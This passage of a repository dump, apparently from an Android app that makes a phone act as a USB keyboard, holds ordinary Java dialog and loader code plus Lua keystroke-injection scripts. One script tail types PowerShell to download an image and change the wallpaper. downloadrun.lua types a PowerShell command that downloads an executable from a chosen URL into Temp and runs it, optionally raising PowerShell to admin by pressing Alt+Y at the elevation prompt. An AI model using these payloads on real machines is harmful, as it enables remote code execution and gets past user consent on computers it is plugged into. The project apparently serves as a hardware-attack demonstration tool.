System.Net.WebClient).DownloadFile('" .. file .. "',\"$Env:Temp\\b.jpg\");\n" .. 30 | "Add-Type @\"\n" .. 31 | "using System;using System.Runtime.InteropServices;using Microsoft.Win32;namespa" .. 32 | "ce W{public class S{ [DllImport(\"user32.dll\")]static extern int SystemParamet" .. 33 | "ersInfo(int a,int b,string c,int d);public static void SW(string a){SystemParam" .. 34 | "etersInfo(20,0,a,3);RegistryKey c=Registry.CurrentUser.OpenSubKey(\"Control Pan" .. 35 | "el\\\\Desktop\",true);c.SetValue(@\"WallpaperStyle\", \"2\");c.SetValue(@\"Tile" .. 36 | "Wallpaper\", \"0\");c.Close();}}}\n" .. 37 | "\"@\n" .. 38 | "[W.S]::SW(\"$Env:Temp\\b.jpg\")\n" .. 39 | "exit\n") 40 | 41 | print("done") 42 | -- wait for USB device to be unplugged 43 | wait_for_state("not attached") 44 | end -------------------------------------------------------------------------------- /app/src/main/java/org/netdex/androidusbscript/gui/ConfirmDialog.java: -------------------------------------------------------------------------------- 1 | package org.netdex.androidusbscript.gui; 2 | 3 | import android.app.AlertDialog; 4 | import android.content.Context; 5 | import android.os.Handler; 6 | import android.os.Looper; 7 | 8 | import androidx.core.os.HandlerCompat; 9 | 10 | import java.util.concurrent.CountDownLatch; 11 | import java.util.concurrent.atomic.AtomicBoolean; 12 | 13 | public class ConfirmDialog { 14 | 15 | final AlertDialog.Builder builder_; 16 | final CountDownLatch latch_ = new CountDownLatch(1); 17 | final AtomicBoolean result_ = new AtomicBoolean(false); 18 | 19 | public ConfirmDialog(Context context, String title, String message) { 20 | builder_ = new AlertDialog.Builder(context); 21 | builder_.setTitle(title); 22 | if (!message.isEmpty()) 23 | builder_.setMessage(message); 24 | 25 | builder_.setPositiveButton("Yes", (dialog, which) -> { 26 | result_.set(true); 27 | latch_.countDown(); 28 | }); 29 | builder_.setNegativeButton("No", (dialog, which) -> { 30 | result_.set(false); 31 | latch_.countDown(); 32 | }); 33 | builder_.setOnCancelListener(dialog -> { 34 | result_.set(false); 35 | latch_.countDown(); 36 | }); 37 | builder_.setCancelable(false); 38 | } 39 | 40 | public boolean show() { 41 | Handler mainThreadHandler = HandlerCompat.createAsync(Looper.getMainLooper()); 42 | try { 43 | mainThreadHandler.post(builder_::show); 44 | latch_.await(); 45 | } catch (InterruptedException e) { 46 | Thread.currentThread().interrupt(); 47 | } 48 | return result_.get(); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /app/src/main/java/org/netdex/androidusbscript/task/LuaUsbTaskFactory.java: -------------------------------------------------------------------------------- 1 | package org.netdex.androidusbscript.task; 2 | 3 | /* 4 | Created by netdex on 12/28/17. 5 | */ 6 | 7 | import android.content.Context; 8 | import android.net.Uri; 9 | 10 | import java.io.BufferedReader; 11 | import java.io.FileNotFoundException; 12 | import java.io.IOException; 13 | import java.io.InputStream; 14 | import java.io.InputStreamReader; 15 | 16 | import timber.log.Timber; 17 | 18 | public class LuaUsbTaskFactory { 19 | private final LuaIOBridge dialogIO_; 20 | 21 | public LuaUsbTaskFactory(LuaIOBridge dialogIO) { 22 | this.dialogIO_ = dialogIO; 23 | } 24 | 25 | public LuaUsbTask createTaskFromLuaAsset(Context context, String name, String pathToAsset) { 26 | try { 27 | return createTaskFromInputStream(name, context.getAssets().open(pathToAsset)); 28 | } catch (IOException e) { 29 | Timber.e(e); 30 | return null; 31 | } 32 | } 33 | 34 | public LuaUsbTask createTaskFromLuaScript(Context context, String name, Uri uri) { 35 | try { 36 | return createTaskFromInputStream(name, context.getContentResolver().openInputStream(uri)); 37 | } catch (FileNotFoundException e) { 38 | Timber.e(e); 39 | return null; 40 | } 41 | } 42 | 43 | private LuaUsbTask createTaskFromInputStream(String name, InputStream stream) { 44 | try { 45 | BufferedReader br = new BufferedReader(new InputStreamReader(stream)); 46 | StringBuilder sb = new StringBuilder(); 47 | String line; 48 | while ((line = br.readLine()) != null) 49 | sb.append(line).append('\n'); 50 | br.close(); 51 | String src = sb.toString(); 52 | return new LuaUsbTask(name, src, dialogIO_); 53 | } catch (IOException e) { 54 | Timber.e(e); 55 | return null; 56 | } 57 | 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /app/src/main/assets/scripts/downloadrun.lua: -------------------------------------------------------------------------------- 1 | --- 2 | --- downloadrun.lua: downloads and executes a file 3 | --- directly translated from the Java version in previous builds 4 | --- 5 | 6 | require('common') 7 | 8 | kb = luausb.create({ type = "keyboard" }) 9 | 10 | local file = prompt{ 11 | message="Enter the URL for the file to download.", 12 | hint="File URL", 13 | default="https://github.com/Netdex/FlyingCursors/releases/download/1.0.0/FlyingCursors.exe" 14 | } 15 | local runAs = confirm{ 16 | message="Launch executable with administrator privileges?" 17 | } 18 | 19 | while true do 20 | print("idle") 21 | 22 | -- poll until usb plugged in 23 | wait_for_state("configured") 24 | wait_for_detect(kb) 25 | print("running") 26 | 27 | print("opening powershell, runAs=" .. tostring(runAs)) 28 | if runAs then 29 | -- when running elevated prompt sometimes it pops in background, so we need 30 | -- to go to the desktop 31 | kb:chord(MOD_LSUPER, KEY_D) 32 | wait(500) 33 | kb:chord(MOD_LSUPER, KEY_R) 34 | wait(2000) 35 | kb:string("powershell Start-Process powershell -Verb runAs\n") 36 | wait(3000) 37 | kb:chord(MOD_LALT, KEY_Y) 38 | wait(2000) 39 | else 40 | kb:chord(MOD_LSUPER, KEY_R) 41 | wait(2000) 42 | kb:string("powershell\n") 43 | wait(2000) 44 | end 45 | 46 | print("download + execute code") 47 | 48 | kb:string( 49 | "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$d=New-Object System.Net.WebClient;" .. 50 | "$u='" .. file .. "';" .. 51 | "$f=\"$Env:Temp\\a.exe\";$d.DownloadFile($u,$f);" .. 52 | "$e=New-Object -com shell.application;" .. 53 | "$e.shellexecute($f);" .. 54 | "exit;\n" 55 | ) 56 | 57 | print("done") 58 | wait_for_state("not attached") 59 | 60 | print("disconnected") 61 | end 62 | 63 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 |